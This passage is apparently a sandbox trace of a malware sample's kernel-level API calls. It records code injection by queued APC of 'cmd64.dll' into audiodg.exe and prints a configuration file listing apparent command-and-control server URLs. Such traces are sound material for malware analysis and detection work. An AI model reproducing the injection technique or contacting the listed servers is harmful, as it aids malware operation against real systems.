returned 0x0 [0082.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.001] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.001] IdePortDispatch () returned 0x103 [0082.001] KeWaitForMutexObject () returned 0x0 [0082.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.001] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.001] IdePortDispatch () returned 0x103 [0082.001] KeWaitForMutexObject () returned 0x0 [0082.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.002] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.002] IdePortDispatch () returned 0x103 [0082.002] KeWaitForMutexObject () returned 0x0 [0082.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.002] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.002] IdePortDispatch () returned 0x103 [0082.002] KeWaitForMutexObject () returned 0x0 [0082.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.002] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.002] IdePortDispatch () returned 0x103 [0082.002] KeWaitForMutexObject () returned 0x0 [0082.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.003] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.003] IdePortDispatch () returned 0x103 [0082.003] KeWaitForMutexObject () returned 0x0 [0082.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.003] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.003] IdePortDispatch () returned 0x103 [0082.003] KeWaitForMutexObject () returned 0x0 [0082.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.003] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.003] IdePortDispatch () returned 0x103 [0082.003] KeWaitForMutexObject () returned 0x0 [0082.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.003] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.003] IdePortDispatch () returned 0x103 [0082.004] KeWaitForMutexObject () returned 0x0 [0082.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.004] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.004] IdePortDispatch () returned 0x103 [0082.004] KeWaitForMutexObject () returned 0x0 [0082.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.004] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.004] IdePortDispatch () returned 0x103 [0082.004] KeWaitForMutexObject () returned 0x0 [0082.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.004] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.004] IdePortDispatch () returned 0x103 [0082.004] KeWaitForMutexObject () returned 0x0 [0082.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.005] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.005] IdePortDispatch () returned 0x103 [0082.005] KeWaitForMutexObject () returned 0x0 [0082.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.005] KeLeaveCriticalRegion () [0082.005] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0082.005] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000410, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0082.005] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0082.005] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0082.005] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000410, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x30000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0082.006] _snprintf (in: _Dest=0x30020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0082.006] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036b3260 [0082.006] KeInitializeApc (Apc=0xfffffa80036b3260, Thread=0xfffffa80036af060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x30128, Mode=0xfffff88000000001, Context=0x30000) [0082.006] KeInsertQueueApc (Apc=0xfffffa80036b3260, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0082.006] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0082.006] ZwClose (Handle=0x14) returned 0x0 [0082.006] ZwClose (Handle=0xffffffff80000418) returned 0x0 [0082.006] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0082.006] KeEnterCriticalRegion () [0082.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.006] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0082.006] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80036b35c0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0082.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.006] KeLeaveCriticalRegion () [0082.006] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0082.006] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0082.006] PsGetProcessImageFileName () returned 0xfffffa80036afe10 [0082.006] _snprintf (in: _Dest=0xfffffa80036b3ca8, _Count=0x103, _Format="%s (x64)" | out: _Dest="audiodg.exe (x64)") returned 17 [0082.006] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0082.006] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff80000418, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0082.006] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0082.006] KeEnterCriticalRegion () [0082.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.006] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0082.006] IdePortDispatch () returned 0x103 [0082.006] KeWaitForMutexObject () returned 0x0 [0082.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0082.007] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0082.007] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0082.007] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0082.007] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036b3200 [0082.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.007] KeLeaveCriticalRegion () [0082.007] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0082.007] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0082.007] NtLockFile (in: FileHandle=0xffffffff80000418, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0082.007] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0082.007] KeEnterCriticalRegion () [0082.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.007] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0082.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.007] KeLeaveCriticalRegion () [0082.007] ZwQueryInformationFile (in: FileHandle=0xffffffff80000418, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0082.007] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0082.007] KeEnterCriticalRegion () [0082.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.007] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0082.007] IdePortDispatch () returned 0x103 [0082.007] KeWaitForMutexObject () returned 0x0 [0082.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0082.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.007] KeLeaveCriticalRegion () [0082.007] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0082.007] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a000bfd6a0 [0082.007] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0082.007] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0082.008] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="audiodg.exe (x64)=") returned 18 [0082.008] _strlwr (in: _Str="audiodg.exe (x64)=" | out: _Str="audiodg.exe (x64)=") returned="audiodg.exe (x64)=" [0082.008] ZwReadFile (in: FileHandle=0xffffffff80000418, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bfd6a0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bfd6a0*) returned 0x0 [0082.008] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0082.008] KeEnterCriticalRegion () [0082.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.008] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da46a0 [0082.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0082.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0082.008] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0082.008] IdePortDispatch () returned 0x103 [0082.008] KeWaitForMutexObject () returned 0x0 [0082.008] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0082.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0082.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0082.008] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0082.008] IdePortDispatch () returned 0x103 [0082.008] KeWaitForMutexObject () returned 0x0 [0082.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.008] KeLeaveCriticalRegion () [0082.008] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0082.008] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0082.008] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="audiodg.exe (x64)=") returned 0x0 [0082.008] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0082.008] ExFreePoolWithTag (P=0xfffff8a000bfd6a0, Tag=0x0) [0082.009] ZwClose (Handle=0xffffffff80000418) returned 0x0 [0082.009] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0082.009] KeEnterCriticalRegion () [0082.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.009] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0082.009] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036b4050, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0082.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.009] KeLeaveCriticalRegion () [0082.009] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0082.009] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0082.009] KeEnterCriticalRegion () [0082.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.009] ExFreePoolWithTag (P=0xfffffa80036b3200, Tag=0x0) [0082.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0082.009] KeLeaveCriticalRegion () [0082.009] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0082.009] ZwClose (Handle=0xffffffff80000410) returned 0x0 [0082.009] KeSetEvent (in: Event=0xfffffa80036b3980, Increment=0x0, Wait=0 | out: Event=0xfffffa80036b3980) returned 0 [0085.279] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x128, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff80000448) returned 0x0 [0085.279] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0085.279] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff8000044c, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0085.279] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.279] KeEnterCriticalRegion () [0085.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.279] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0085.279] IdePortDispatch () returned 0x103 [0085.279] KeWaitForMutexObject () returned 0x0 [0085.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0085.279] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0085.279] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0085.279] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0085.279] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003792170 [0085.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.279] KeLeaveCriticalRegion () [0085.279] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.280] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0085.280] NtLockFile (in: FileHandle=0xffffffff8000044c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0085.280] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.280] KeEnterCriticalRegion () [0085.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.280] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0085.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.280] KeLeaveCriticalRegion () [0085.280] ZwQueryInformationFile (in: FileHandle=0xffffffff8000044c, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, 